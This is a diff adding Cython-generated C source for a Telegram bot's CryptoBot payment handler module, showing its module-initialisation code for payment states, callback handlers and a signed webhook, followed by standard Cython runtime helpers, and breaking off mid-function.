__Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":34 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() # <<<<<<<<<<<<<< + * entering_custom_amount_crypto = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":35 + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() + * entering_custom_amount_crypto = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() + */ + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_6, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_cryptobot, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_cryptobot, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_cryptobot, __pyx_t_6) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__36, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_cryptobot_webhook, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_cryptobot_webhook, __pyx_t_5) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_check_hash, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__22)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_hash, __pyx_t_5) < 0) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_crypto_payment, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_crypto_payment, __pyx_t_5) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_enter_custom_amount_crypto, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__26)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__30)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_6) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiocryptopay import AioCryptoPay, Networks + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_6) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.cryprobot_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.cryprobot_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE 